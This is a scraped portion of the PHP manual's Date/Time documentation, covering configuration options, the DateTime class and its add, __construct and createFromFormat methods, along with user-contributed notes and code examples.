    • DatePeriod::__construct — Creates new DatePeriod object
  • Date/Time Functions
    • checkdate — Validate a Gregorian date
    • date_add — Alias of DateTime::add
    • date_create_from_format — Alias of DateTime::createFromFormat
    • date_create — Alias of DateTime::__construct
    • date_date_set — Alias of DateTime::setDate
    • date_default_timezone_get — Gets the default timezone used by all date/time functions in a script
    • date_default_timezone_set — Sets the default timezone used by all date/time functions in a script
    • date_diff — Alias of DateTime::diff
    • date_format — Alias of DateTime::format
    • date_get_last_errors — Alias of DateTime::getLastErrors
    • date_interval_create_from_date_string — Alias of DateInterval::createFromDateString
    • date_interval_format — Alias of DateInterval::format
    • date_isodate_set — Alias of DateTime::setISODate
    • date_modify — Alias of DateTime::modify
    • date_offset_get — Alias of DateTime::getOffset
    • date_parse_from_format — Get info about given date formatted according to the specified format
    • date_parse — Returns associative array with detailed info about given date
    • date_sub — Alias of DateTime::sub
    • date_sun_info — Returns an array with information about sunset/sunrise and twilight begin/end
    • date_sunrise — Returns time of sunrise for a given day and location
    • date_sunset — Returns time of sunset for a given day and location
    • date_time_set — Alias of DateTime::setTime
    • date_timestamp_get — Alias of DateTime::getTimestamp
    • date_timestamp_set — Alias of DateTime::setTimestamp
    • date_timezone_get — Alias of DateTime::getTimezone
    • date_timezone_set — Alias of DateTime::setTimezone
    • date — Format a local time/date
    • getdate — Get date/time information
    • gettimeofday — Get current time
    • gmdate — Format a GMT/UTC date/time
    • gmmktime — Get Unix timestamp for a GMT date
    • gmstrftime — Format a GMT/UTC time/date according to locale settings
    • idate — Format a local time/date as integer
    • localtime — Get the local time
    • microtime — Return current Unix timestamp with microseconds
    • mktime — Get Unix timestamp for a date
    • strftime — Format a local time/date according to locale settings
    • strptime — Parse a time/date generated with strftime
    • strtotime — Parse about any English textual datetime description into a Unix timestamp
    • time — Return current Unix timestamp
    • timezone_abbreviations_list — Alias of DateTimeZone::listAbbreviations
    • timezone_identifiers_list — Alias of DateTimeZone::listIdentifiers
    • timezone_location_get — Alias of DateTimeZone::getLocation
    • timezone_name_from_abbr — Returns the timezone name from abbreviation
    • timezone_name_get — Alias of DateTimeZone::getName
    • timezone_offset_get — Alias of DateTimeZone::getOffset
    • timezone_open — Alias of DateTimeZone::__construct
    • timezone_transitions_get — Alias of DateTimeZone::getTransitions
    • timezone_version_get — Gets the version of the timezonedb
  • Supported Date and Time Formats
    • Time Formats
    • Date Formats
    • Compound Formats
    • Relative Formats
  • List of Supported Timezones
    • Africa
    • America
    • Antarctica
    • Arctic
    • Asia
    • Atlantic
    • Australia
    • Europe
    • Indian
    • Pacific
    • Others

User Contributed Notes

rjstatic 20-Mar-2011 10:44
A very verbose loop.  The construct function for the DateTime class isn't working properly for me but this works.
    <?php

    $date = "2011/03/20";
    $date = explode("/", $date);

    $time = "07:16:17";
    $time = explode(":", $time);

    $tz_string = "America/Los_Angeles"; // Use one from list of TZ names http://php.net/manual/en/timezones.php
    $tz_object = new DateTimeZone($tz_string);

    $datetime = new DateTime();
    $datetime->setTimezone($tz_object);
    $datetime->setDate($date[0], $date[1], $date[2]);
    $datetime->setTime($time[0], $time[1], $time[2]);

    print $datetime->format('Y/m/d H:i:s'); // Prints "2011/03/20 07:16:17"

    ?>
Moo0z0r 21-Jun-2010 11:58
I think it's important to mention with the DateTime class that if you're trying to create a system that should store UNIX timestamps in UTC/GMT, and then convert them to a desired custom time-zone when they need to be displayed, using the following code is a good idea:

<?php
date_default_timezone_set('UTC');
?>

Even if you use something like:

<?php
$date->setTimezone( new DateTimeZone('UTC') );
?>

... before you store the value, it doesn't seem to work because PHP is already trying to convert it to the default timezone.
kapoor_rajiv at hotmail dot com 12-Oct-2009 04:59
We can also get the submitted datetime (e.g. 2009-11-06 07:03:41) using the following:

<?php
$DateOfRequest = date("Y-m-d H:i:s", strtotime($_REQUEST["DateOfRequest"]));
?>

Or another good example of getting DateTime:

<?php
$DateOfRequest = date("Y-m-d H:i:s", mktime($_REQUEST["Hour"],$_REQUEST["Min"],$_REQUEST
["Sec"],$_REQUEST["Month"],$_REQUEST["Day"],$_REQUEST["Year"]));
?>
zoe at monkeehouse dot com 24-Oct-2008 03:52
Should you want to convert between HH:MM:SS and plain seconds like in MySQL, these functions should do the trick:

<?php
function time_to_sec($time) {
    $hours = substr($time, 0, -6);
    $minutes = substr($time, -5, 2);
    $seconds = substr($time, -2);

    return $hours * 3600 + $minutes * 60 + $seconds;
}

function sec_to_time($seconds) {
    $hours = floor($seconds / 3600);
    $minutes = floor($seconds % 3600 / 60);
    $seconds = $seconds % 60;

    return sprintf("%d:%02d:%02d", $hours, $minutes, $seconds);
}
?>
unixtojd
Introduction
Date and Time Related Extensions


Introduction

These functions allow you to get the date and time from the server where your PHP scripts are running. You can use these functions to format the date and time in many different ways.

The date and time information is internally stored as an 64-bit number so all imaginable dates (including negative years) are supported. The range is from about 292 billion years in the past to the same in the future.

Note: Please keep in mind that these functions are dependent on the locale settings of your server. Make sure to take daylight saving time (use e.g. $date = strtotime('+7 days', $date) and not $date += 7*24*60*60) and leap years into consideration when working with these functions.

Note: The timezones referenced in this section can be found in the List of Supported Timezones.

User Contributed Notes

There are no user contributed notes for this page.
Date/Time
Installing/Configuring
Date/Time


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Date/Time


Installation

There is no installation needed to use these functions; they are part of the PHP core.

Note: Getting the latest timezone database

The latest version of the timezone database can be installed via PECL's » timezonedb.

Note: Experimental DateTime support in PHP 5.1.x

Although the DateTime class (and related functions) are enabled by default since PHP 5.2.0, it is possible to add experimental support into PHP 5.1.x by using the following flag before configure/compile: CFLAGS=-DEXPERIMENTAL_DATE_SUPPORT=1

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Date/Time Configuration Options
Name | Default | Changeable | Changelog
date.default_latitude | "31.7667" | PHP_INI_ALL | Available since PHP 5.0.0.
date.default_longitude | "35.2333" | PHP_INI_ALL | Available since PHP 5.0.0.
date.sunrise_zenith | "90.583333" | PHP_INI_ALL | Available since PHP 5.0.0.
date.sunset_zenith | "90.583333" | PHP_INI_ALL | Available since PHP 5.0.0.
date.timezone | "" | PHP_INI_ALL | Available since PHP 5.1.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

date.default_latitude float

The default latitude.

date.default_longitude float

The default longitude.

date.sunrise_zenith float

The default sunrise zenith.

date.sunset_zenith float

The default sunset zenith.

date.timezone string

The default timezone used by all date/time functions. Prior to PHP 5.4.0, this would only work if the TZ environment variable was not set. The precedence order for which timezone is used if none is explicitly mentioned is described in the date_default_timezone_get() page. See List of Supported Timezones for a list of supported timezones.

Note: The first four configuration options are currently only used by date_sunrise() and date_sunset().

User Contributed Notes

vigong at free dot fr 09-Jan-2012 10:57
mine is :

date.timezone = "Asia/Jakarta"
date.default_latitude = 6.116667
date.default_longitude = 106.650002
tularis at php dot net 28-Aug-2011 11:19
A list containing the longitudes and latitudes of a number of major cities around the world as compiled from all previous notes on this page.

// --- Asia --- //

// Baku, Azerbaijan, Asia
date.timezone = "Asia/Baku"
date.default_latitude = 40,2343
date.default_longitude = 49,5256

// Shanghai, China, Asia
date.timezone = "Asia/Shanghai"
date.default_latitude = 31.5167
date.default_longitude = 121.4500

// Delhi, India, Asia
date.timezone = "Asia/Delhi"
date.default_latitude = 28.40
date.default_longitude = 77.13

// Colombo, Sri Lanka, Asia
date.timezone = "Asia/Colombo"
date.default_latitude = 6.9319444
date.default_longitude = 79.8477778

// --- Australia --- //

// Canberra, Australia
date.timezone = "Australia/Canberra"
date.default_latitude = -35.308142
date.default_longitude = 149.124518

// --- Europe --- //

// London, England, Europe
date.timezone = "Europe/London"
date.default_latitude = 51.500181
date.default_longitude = -0.12619

// Berlin, Germany, Europe
date.timezone = "Europe/Berlin"
date.default_latitude = 52.5194
date.default_longitude = 13.4067

// Madrid, Spain, Europe
date.timezone = "Europe/Madrid"
date.default_latitude = 40.416126
date.default_longitude = -3.696706
Installation
Resource Types
Installing/Configuring


Predefined Constants

The DATE_ constants are defined since PHP 5.1.1 and they offer standard date representations, which can be used along with the date format functions (like date()).

Following constants exists since PHP 5.1.2 and specify a format returned by functions date_sunrise() and date_sunset().

SUNFUNCS_RET_TIMESTAMP (integer)
Timestamp
SUNFUNCS_RET_STRING (integer)
Hours:minutes (example: 08:02)
SUNFUNCS_RET_DOUBLE (integer)
Hours as floating point number (example 8.75)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
DateTime
Date/Time


Predefined Constants
DateTime::add
Date/Time
PHP Manual

The DateTime class

(PHP 5 >= 5.2.0)

Introduction

Representation of date and time.

Class synopsis

DateTime {
/* Constants */
const string ATOM = "Y-m-d\TH:i:sP" ;
const string COOKIE = "l, d-M-y H:i:s T" ;
const string ISO8601 = "Y-m-d\TH:i:sO" ;
const string RFC822 = "D, d M y H:i:s O" ;
const string RFC850 = "l, d-M-y H:i:s T" ;
const string RFC1036 = "D, d M y H:i:s O" ;
const string RFC1123 = "D, d M Y H:i:s O" ;
const string RFC2822 = "D, d M Y H:i:s O" ;
const string RFC3339 = "Y-m-d\TH:i:sP" ;
const string RSS = "D, d M Y H:i:s O" ;
const string W3C = "Y-m-d\TH:i:sP" ;
/* Methods */
public __construct ([ string $time = "now" [, DateTimeZone $timezone = NULL ]] )
public DateTime add ( DateInterval $interval )
public static DateTime createFromFormat ( string $format , string $time [, DateTimeZone $timezone ] )
public DateInterval diff ( DateTime $datetime2 [, bool $absolute = false ] )
public string format ( string $format )
public static array getLastErrors ( void )
public int getOffset ( void )
public int getTimestamp ( void )
public DateTimeZone getTimezone ( void )
public DateTime modify ( string $modify )
public static DateTime __set_state ( array $array )
public DateTime setDate ( int $year , int $month , int $day )
public DateTime setISODate ( int $year , int $week [, int $day = 1 ] )
public DateTime setTime ( int $hour , int $minute [, int $second = 0 ] )
public DateTime setTimestamp ( int $unixtimestamp )
public DateTime setTimezone ( DateTimeZone $timezone )
public DateTime sub ( DateInterval $interval )
public DateTime __wakeup ( void )
}

Predefined Constants

DateTime::ATOM
DATE_ATOM
Atom (example: 2005-08-15T15:52:01+00:00)
DateTime::COOKIE
DATE_COOKIE
HTTP Cookies (example: Monday, 15-Aug-05 15:52:01 UTC)
DateTime::ISO8601
DATE_ISO8601
ISO-8601 (example: 2005-08-15T15:52:01+0000)
DateTime::RFC822
DATE_RFC822
RFC 822 (example: Mon, 15 Aug 05 15:52:01 +0000)
DateTime::RFC850
DATE_RFC850
RFC 850 (example: Monday, 15-Aug-05 15:52:01 UTC)
DateTime::RFC1036
DATE_RFC1036
RFC 1036 (example: Mon, 15 Aug 05 15:52:01 +0000)
DateTime::RFC1123
DATE_RFC1123
RFC 1123 (example: Mon, 15 Aug 2005 15:52:01 +0000)
DateTime::RFC2822
DATE_RFC2822
RFC 2822 (Mon, 15 Aug 2005 15:52:01 +0000)
DateTime::RFC3339
DATE_RFC3339
Same as DATE_ATOM (since PHP 5.1.3)
DateTime::RSS
DATE_RSS
RSS (Mon, 15 Aug 2005 15:52:01 +0000)
DateTime::W3C
DATE_W3C
World Wide Web Consortium (example: 2005-08-15T15:52:01+00:00)

Table of Contents

  • DateTime::add — Adds an amount of days, months, years, hours, minutes and seconds to a DateTime object
  • DateTime::__construct — Returns new DateTime object
  • DateTime::createFromFormat — Returns new DateTime object formatted according to the specified format
  • DateTime::diff — Returns the difference between two DateTime objects
  • DateTime::format — Returns date formatted according to given format
  • DateTime::getLastErrors — Returns the warnings and errors
  • DateTime::getOffset — Returns the timezone offset
  • DateTime::getTimestamp — Gets the Unix timestamp
  • DateTime::getTimezone — Return time zone relative to given DateTime
  • DateTime::modify — Alters the timestamp
  • DateTime::__set_state — The __set_state handler
  • DateTime::setDate — Sets the date
  • DateTime::setISODate — Sets the ISO date
  • DateTime::setTime — Sets the time
  • DateTime::setTimestamp — Sets the date and time based on an Unix timestamp
  • DateTime::setTimezone — Sets the time zone for the DateTime object
  • DateTime::sub — Subtracts an amount of days, months, years, hours, minutes and seconds from a DateTime object
  • DateTime::__wakeup — The __wakeup handler

User Contributed Notes

nodweber at gmail dot com 19-Jul-2011 02:22
IF You want to create clone of $time, use clone..

<?php
  $now   = new DateTime;
  $clone = $now;        //this doesnot clone so:
  $clone->modify( '-1 day' );

  echo $now->format( 'd-m-Y' ), "\n", $clone->format( 'd-m-Y' );
  echo '----', "\n";

  // will print same.. if you want to clone make like this:
  $now   = new DateTime;
  $clone = clone $now;
  $clone->modify( '-1 day' );

  echo $now->format( 'd-m-Y' ), "\n", $clone->format( 'd-m-Y' );
?>

Results:
18-07-2011
18-07-2011
----
19-07-2011
18-07-2011
giorgio dot liscio at email dot it 13-Aug-2010 10:24
please note that using

setTimezone
setTimestamp
setDate
setTime
etc..

will modify the original object, and the return value is $this

$original = new DateTime("now");

$modified = $original->setTimezone(new DateTimezone("europe/rome"));

echo $original === $modified ? "THE OBJECT IS THE SAME" : "OBJECTS ARE DIFFERENT";

so a datetime object is mutable
bf at tbwb dot nl 10-Aug-2010 03:19
If you have timezone information in the time string you construct the DateTime object with, you cannot add an extra timezone in the constructor. It will ignore the timezone information in the time string:

$date = new DateTime("2010-07-05T06:00:00Z", new DateTimeZone("Europe/Amsterdam"));

will create a DateTime object set to "2010-07-05 06:00:00+0200" (+2 being the TZ offset for Europe/Amsterdam)

To get this done, you will need to set the timezone separately:

$date = new DateTime("2010-07-05T06:00:00Z");
$date->setTimeZone(new DateTimeZone("Europe/Amsterdam");

This will create a DateTime object set to "2010-07-05 08:00:00+0200"
ediathome 20-Mar-2010 01:21
If you need DateTime::createFromFormat functionality in versions <5.3.0 releases you might use the following basic class which can also be combined with Tom's class. It should work for most basic formats, however you should improve this function if you need more complex formats.

<?php
class DateClass extends DateTime{

public function getTimestamp(){
    return $this->format ("U");
}

/**
*    This function calculates the number of days between the first and the second date. Arguments must be subclasses of DateTime
**/
static function differenceInDays ($firstDate, $secondDate){
    $firstDateTimeStamp = $firstDate->format("U");
    $secondDateTimeStamp = $secondDate->format("U");
    $rv = round ((($firstDateTimeStamp - $secondDateTimeStamp))/86400);
    return $rv;
}

/**
* This function returns an object of DateClass from $time in format $format. See date() for possible values for $format
**/
static function createFromFormat ($format, $time){
    assert ($format!="");
    if($time==""){
        return new DateClass();
    }

    $regexpArray['Y'] = "(?P<Y>19|20\d\d)";
    $regexpArray['m'] = "(?P<m>0[1-9]|1[012])";
    $regexpArray['d'] = "(?P<d>0[1-9]|[12][0-9]|3[01])";
    $regexpArray['-'] = "[-]";
    $regexpArray['.'] = "[\. /.]";
    $regexpArray[':'] = "[:]";
    $regexpArray['space'] = "[\s]";
    $regexpArray['H'] = "(?P<H>0[0-9]|1[0-9]|2[0-3])";
    $regexpArray['i'] = "(?P<i>[0-5][0-9])";
    $regexpArray['s'] = "(?P<s>[0-5][0-9])";

    $formatArray = str_split ($format);
    $regex = "";

    // create the regular expression
    foreach($formatArray as $character){
        if ($character==" ") $regex = $regex.$regexpArray['space'];
        elseif (array_key_exists($character, $regexpArray)) $regex = $regex.$regexpArray[$character];
    }
    $regex = "/".$regex."/";

    // get results for regualar expression
    preg_match ($regex, $time, $result);

    // create the init string for the new DateTime
    $initString = $result['Y']."-".$result['m']."-".$result['d'];

// if no value for hours, minutes and seconds was found add 00:00:00
    if (isset($result['H'])) $initString = $initString." ".$result['H'].":".$result['i'].":".$result['s'];
    else {$initString = $initString." 00:00:00";}

    $newDate = new DateClass ($initString);
    return $newDate;
    }
}

?>
gmblar+php at gmail dot com 24-Jan-2010 08:53
Small but powerful extension to DateTime

<?php

class Blar_DateTime extends DateTime {

    /**
     * Return Date in ISO8601 format
     *
     * @return String
     */
    public function __toString() {
        return $this->format('Y-m-d H:i');
    }

    /**
     * Return difference between $this and $now
     *
     * @param Datetime|String $now
     * @return DateInterval
     */
    public function diff($now = 'NOW') {
        if(!($now instanceOf DateTime)) {
            $now = new DateTime($now);
        }
        return parent::diff($now);
    }

    /**
     * Return Age in Years
     *
     * @param Datetime|String $now
     * @return Integer
     */
    public function getAge($now = 'NOW') {
        return $this->diff($now)->format('%y');
    }

}

?>

Usage:

<?php

$birthday = new Blar_DateTime('1879-03-14');

// Example 1
echo $birthday;
// Result: 1879-03-14 00:00

// Example 2
echo '<p>Albert Einstein would now be ', $birthday->getAge(), ' years old.</p>';
// Result: <p>Albert Einstein would now be 130 years old.</p>

// Example 3
echo '<p>Albert Einstein would now be ', $birthday->diff()->format('%y Years, %m Months, %d Days'), ' old.</p>';
// Result: <p>Albert Einstein would now be 130 Years, 10 Months, 10 Days old.</p>

// Example 4
echo '<p>Albert Einstein was on 2010-10-10 ', $birthday->getAge('2010-10-10'), ' years old.</p>';
// Result: <p>Albert Einstein was on 2010-10-10 131 years old.</p>

?>
tom at r dot je 10-Jun-2009 08:00
If you're stuck on a PHP 5.1 system (unfortunately one of my clients is on a rather horrible webhost who claims they cannot upgrade php) you can use this as a quick workaround:

<?php
if (!class_exists('DateTime')) {
class DateTime {
    public $date;

    public function __construct($date) {
        $this->date = strtotime($date);
    }

    public function setTimeZone($timezone) {
        return;
    }

    private function __getDate() {
        return date(DATE_ATOM, $this->date);
    }

    public function modify($multiplier) {
        $this->date = strtotime($this->__getDate() . ' ' . $multiplier);
    }

    public function format($format) {
        return date($format, $this->date);
    }
}
}
?>

it is NOT perfect. Timezones and DST are not supported, but if you just need compatible basic functions this works. Feel free to complete this so it's compatible with the 5.2 datetime object.
Predefined Constants
DateTime::add
Date/Time


Adds an amount of days, months, years, hours, minutes and seconds to a DateTime object

DateTime
DateTime::__construct
DateTime
PHP Manual

DateTime::add

date_add

(PHP 5 >= 5.3.0)

DateTime::add -- date_add — Adds an amount of days, months, years, hours, minutes and seconds to a DateTime object

Description

Object oriented style

public DateTime DateTime::add ( DateInterval $interval )

Procedural style

DateTime date_add ( DateTime $object , DateInterval $interval )

Adds the specified DateInterval object to the specified DateTime object.

Parameters

object

Procedural style only: A DateTime object returned by date_create(). The function modifies this object.

interval

A DateInterval object

Return Values

Returns the DateTime object for method chaining or FALSE on failure.

Examples

Example #1 DateTime::add() example

Object oriented style

<?php
$date = new DateTime('2000-01-01');
$date->add(new DateInterval('P10D'));
echo $date->format('Y-m-d') . "\n";
?>

Procedural style

<?php
$date = date_create('2000-01-01');
date_add($date, date_interval_create_from_date_string('10 days'));
echo date_format($date, 'Y-m-d');
?>

The above examples will output:

2000-01-11

Example #2 Further DateTime::add() examples

<?php
$date = new DateTime('2000-01-01');
$date->add(new DateInterval('PT10H30S'));
echo $date->format('Y-m-d H:i:s') . "\n";

$date = new DateTime('2000-01-01');
$date->add(new DateInterval('P7Y5M4DT4H3M2S'));
echo $date->format('Y-m-d H:i:s') . "\n";
?>

The above example will output:

2000-01-01 10:00:30
2007-06-05 04:03:02

Example #3 Beware when adding months

<?php
$date = new DateTime('2000-12-31');
$interval = new DateInterval('P1M');

$date->add($interval);
echo $date->format('Y-m-d') . "\n";

$date->add($interval);
echo $date->format('Y-m-d') . "\n";
?>

The above example will output:

2001-01-31
2001-03-03

Notes

DateTime::modify() is an alternative when using PHP 5.2.

See Also

  • DateTime::sub() - Subtracts an amount of days, months, years, hours, minutes and seconds from a DateTime object
  • DateTime::diff() - Returns the difference between two DateTime objects
  • DateTime::modify() - Alters the timestamp

User Contributed Notes

Anonymous 01-Feb-2011 02:16
Note that the add() and sub() methods will modify the value of the object you're calling the method on! This is very untypical for a method that returns a value of its own type. You could misunderstand it that the method would return a new instance with the modified value, but in fact it modifies itself! This is undocumented here. (Only a side note on procedural style mentions it, but it obviously does not apply to object oriented style.)
fortruth at mabang dot net 23-Aug-2010 11:00
adding 15 min to a datetime

<?php
$initDate = new DateTime("2010/08/24");

$initDate->add(new DateInterval("PT15M"));
echo $initDate->format("Y/m/d m:i:s");//result: 2010/08/24 08:15:00
?>

period:
P1Y2M3DT1H2M3S

period time:
PT1H2M3S
DateTime
DateTime::__construct
DateTime


Returns new DateTime object

DateTime::add
DateTime::createFromFormat
DateTime
PHP Manual

DateTime::__construct

date_create

(PHP 5 >= 5.2.0)

DateTime::__construct -- date_create — Returns new DateTime object

Description

Object oriented style

public DateTime::__construct() ([ string $time = "now" [, DateTimeZone $timezone = NULL ]] )

Procedural style

DateTime date_create ([ string $time = "now" [, DateTimeZone $timezone = NULL ]] )

Returns new DateTime object.

Parameters

time

A date/time string. Valid formats are explained in Date and Time Formats.

Enter NULL here to obtain the current time when using the $timezone parameter.

timezone

A DateTimeZone object representing the desired time zone.

If $timezone is omitted, the current timezone will be used.

Note:

The $timezone parameter and the current timezone are ignored when the $time parameter either is a UNIX timestamp (e.g. @946684800) or specifies a timezone (e.g. 2010-01-28T15:00:00+02:00).

Return Values

Returns a new DateTime instance. Procedural style returns FALSE on failure.

Errors/Exceptions

Emits Exception in case of an error.

Changelog

Version | Description
5.3.0 | If an invalid date is specified, then an exception is now thrown. Previously an error was emitted.

Examples

Example #1 DateTime::__construct() example

Object oriented style

<?php
try {
    $date = new DateTime('2000-01-01');
} catch (Exception $e) {
    echo $e->getMessage();
    exit(1);
}

echo $date->format('Y-m-d');
?>

Procedural style

<?php
$date = date_create('2000-01-01');
if (!$date) {
    $e = date_get_last_errors();
    foreach ($e['errors'] as $error) {
        echo "$error\n";
    }
    exit(1);
}

echo date_format($date, 'Y-m-d');
?>

The above examples will output:

2000-01-01

Example #2 Intricacies of DateTime::__construct()

<?php
// Specified date/time in your computer's time zone.
$date = new DateTime('2000-01-01');
echo $date->format('Y-m-d H:i:sP') . "\n";

// Specified date/time in the specified time zone.
$date = new DateTime('2000-01-01', new DateTimeZone('Pacific/Nauru'));
echo $date->format('Y-m-d H:i:sP') . "\n";

// Current date/time in your computer's time zone.
$date = new DateTime();
echo $date->format('Y-m-d H:i:sP') . "\n";

// Current date/time in the specified time zone.
$date = new DateTime(null, new DateTimeZone('Pacific/Nauru'));
echo $date->format('Y-m-d H:i:sP') . "\n";

// Using a UNIX timestamp.  Notice the result is in the UTC time zone.
$date = new DateTime('@946684800');
echo $date->format('Y-m-d H:i:sP') . "\n";

// Non-existent values roll over.
$date = new DateTime('2000-02-30');
echo $date->format('Y-m-d H:i:sP') . "\n";
?>

The above example will output something similar to:

2000-01-01 00:00:00-05:00
2000-01-01 00:00:00+12:00
2010-04-24 10:24:16-04:00
2010-04-25 02:24:16+12:00
2000-01-01 00:00:00+00:00
2000-03-01 00:00:00-05:00

See Also

  • DateTime::createFromFormat() - Returns new DateTime object formatted according to the specified format
  • DateTimeZone::__construct() - Creates new DateTimeZone object
  • Date and Time Formats
  • date.timezone ini setting
  • date_default_timezone_set() - Sets the default timezone used by all date/time functions in a script
  • DateTime::getLastErrors() - Returns the warnings and errors
  • checkdate() - Validate a Gregorian date

User Contributed Notes

joel dot kallman at gmail dot com 24-Jan-2012 08:07
The DateTime class should not assume that because my input is a timestamp that my desired output will be either within the same timezone as UTC or formatted in a way that contains timezone representation. It incorrectly assumes (in my opinion) the UTC timezone when it should instead use the timezone provided by the programmer to properly offset the date.

The class should assume that the programmer knows what they are doing when they pass a timezone that is different from the one that is represented in the time parameter (if one exists). The expected functionality would be that this class would automatically offset a date that contains timezone representation (like a timestamp) to the provided timezone when the class is instantiated. This is PHP's default way of handling timezones with the date() function and should be consistently followed here.

For example, one would expect the two following ways to output a date would be the same. However, the DateTime object completely ignores the timezone provided. My proposal for how this class should function is that when a timezone is specified through the time parameter along with an additional timezone, it should use that additional timezone to offset the date from its specified timezone within the first parameter.

<?php

// Using the same timestamp, timezone, and format
$timestamp = 1306123200;
$timezone = 'America/New_York';
$format = 'Y-m-d H:i:s';

// Old Way
date_default_timezone_set($timezone);
echo date($format, $timestamp); // ACTUAL output "2011-05-23 00:00:00"

// New Way
$date =  new DateTime('@' . $timestamp, new DateTimeZone($timezone));
echo $date->format($format); // ACTUAL output "2011-05-23 04:00:00", EXPECTED output "2011-05-23 00:00:00"

?>
cHao 22-Dec-2011 07:17
There's a reason for ignoring the time zone when you pass a timestamp to __construct.  That is, UNIX timestamps are by definition based on UTC.  @1234567890 represents the same date/time regardless of time zone.  So there's no need for a time zone at all.
joel dot kallman at gmail dot com 23-May-2011 06:14
A definite "gotcha" (while documented) that exists in the __construct is that it ignores your timezone if the $time is a timestamp.  While this may not make sense, the object does provide you with methods to work around it.

<?php
// New Timezone Object
$timezone = new DateTimeZone('America/New_York');

// New DateTime Object
$date =  new DateTime('@1306123200', $timezone);

// You would expect the date to be 2011-05-23 00:00:00
// But it actually outputs 2011-05-23 04:00:00
echo $date->format('Y-m-d H:i:s');

// You can still set the timezone though like so...
$date->setTimezone($timezone);

// This will now output 2011-05-23 00:00:00
echo $date->format('Y-m-d H:i:s');
?>
Tim Strehle 05-May-2010 03:50
"The $timezone parameter and the current timezone are ignored when the $time parameter […] is a UNIX timestamp."

Watch out – this means that these two are NOT equivalent, they result in different timezones (unless your current timezone is GMT):

<?php
$d = new DateTime(); $d->setTimestamp($t);
echo $o->format('O');
// +0200

$d = new DateTime('@' . $t);
echo $o->format('O');
// +0000
?>
kendsnyder at gmail dot com 12-Jan-2010 08:37
Also forgot to mention, that MySQL "zeroed" dates do not throw an error but produce a non-sensical date:

<?php

$d = new DateTime("0000-00-00");
$d->format("Y-m-d"); // "-0001-11-30"

?>

Another good reason to write your own class that extends from DateTime.
kendsnyder at gmail dot com 12-Jan-2010 08:24
The theoretical limits of the date range seem to be "-9999-01-01" through "9999-12-31" (PHP 5.2.9 on Windows Vista 64):

<?php

$d = new DateTime("9999-12-31");
$d->format("Y-m-d"); // "9999-12-31"

$d = new DateTime("0000-12-31");
$d->format("Y-m-d"); // "0000-12-31"

$d = new DateTime("-9999-12-31");
$d->format("Y-m-d"); // "-9999-12-31"

?>

Dates above 10000 and below -10000 do not throw errors but produce weird results:

<?php

$d = new DateTime("10019-01-01");
$d->format("Y-m-d"); // "2009-01-01"

$d = new DateTime("10009-01-01");
$d->format("Y-m-d"); // "2009-01-01"

$d = new DateTime("-10019-01-01");
$d->format("Y-m-d"); // "2009-01-01"

?>
DateTime::add
DateTime::createFromFormat
DateTime


Returns new DateTime object formatted according to the specified format

DateTime::__construct
DateTime::diff
DateTime
PHP Manual

DateTime::createFromFormat

date_create_from_format

(PHP 5 >= 5.3.0)

DateTime::createFromFormat -- date_create_from_format — Returns new DateTime object formatted according to the specified format

Description

Object oriented style

public static DateTime DateTime::createFromFormat ( string $format , string $time [, DateTimeZone $timezone ] )

Procedural style

DateTime date_create_from_format ( string $format , string $time [, DateTimeZone $timezone ] )

Returns new DateTime object formatted according to the specified format.

Parameters

format

The format that the passed in string should be in. See the formatting options below. In most cases, the same letters as for the date() can be used.

The following characters are recognized in the format parameter string
format character | Description | Example parsable values
Day --- ---
d and j | Day of the month, 2 digits with or without leading zeros | 01 to 31 or 1 to 31
D and l | A textual representation of a day | Mon through Sun or Sunday through Saturday
S | English ordinal suffix for the day of the month, 2 characters. It's ignored while processing. | st, nd, rd or th.
z | The day of the year (starting from 0) | 0 through 365
Month --- ---
F and M | A textual representation of a month, such as January or Sept | January through December or Jan through Dec
m and n | Numeric representation of a month, with or without leading zeros | 01 through 12 or 1 through 12
Year --- ---
Y | A full numeric representation of a year, 4 digits | Examples: 1999 or 2003
y | A two digit representation of a year | Examples: 99 or 03
Time --- ---
a and A | Ante meridiem and Post meridiem | am or pm
g and h | 12-hour format of an hour with or without leading zero | 1 through 12 or 01 through 12
G and H | 24-hour format of an hour with or without leading zeros | 0 through 23 or 00 through 23
i | Minutes with leading zeros | 00 to 59
s | Seconds, with leading zeros | 00 through 59
u | Microseconds (up to six digits) | Example: 45, 654321
Timezone --- ---
e, O, P and T | Timezone identifier, or difference to UTC in hours, or difference to UTC with colon between hours and minutes, or timezone abbreviation | Examples: UTC, GMT, Atlantic/Azores or +0200 or +02:00 or EST, MDT
Full Date/Time --- ---
U | Seconds since the Unix Epoch (January 1 1970 00:00:00 GMT) | Example: 1292177455
Whitespace and Separators --- ---
(space) | One space or one tab | Example:
# One of the following separation symbol: ;, :, /, ., ,, -, ( or ) Example: /
;, :, /, ., ,, -, ( or ) | The specified character. | Example: -
? A random byte Example: ^ (Be aware that for UTF-8 characracters you might need more than one ?. In this case, using * is probably what you want instead)
* Random bytes until the next separator or digit Example: * in Y-*-d with the string 2009-aWord-08 will match aWord
! Resets all fields (year, month, day, hour, minute, second, fraction and timzone information) to the Unix Epoch Without !, all fields will be set to the current date and time.
| Resets all fields (year, month, day, hour, minute, second, fraction and timzone information) to the Unix Epoch if they have not been parsed yet Y-m-d| will set the year, month and day to the information found in the string to parse, and sets the hour, minute and second to 0.
+ If this format specifier is present, trailing data in the string will not cause an error, but a warning instead Use DateTime::getLastErrors() to find out whether trailing data was present.

Unrecognized characters in the format string will cause the parsing to fail and an error message is appended to the returned structure. You can query error messages with DateTime::getLastErrors().

If format does not contain the character ! then portions of the generated time which are not specified in format will be set to the current system time.

If format contains the character !, then portions of the generated time not provided in format, as well as values to the left-hand side of the !, will be set to corresponding values from the Unix epoch.

The Unix epoch is 1970-01-01 00:00:00 UTC.

time

String representing the time.

timezone

A DateTimeZone object representing the desired time zone.

If timezone is omitted and time contains no timezone, the current timezone will be used.

Note:

The timezone parameter and the current timezone are ignored when the time parameter either contains a UNIX timestamp (e.g. 946684800) or specifies a timezone (e.g. 2010-01-28T15:00:00+02:00).

Return Values

Returns a new DateTime instance or FALSE on failure.

Examples

Example #1 DateTime::createFromFormat() example

Object oriented style

<?php
$date = DateTime::createFromFormat('j-M-Y', '15-Feb-2009');
echo $date->format('Y-m-d');
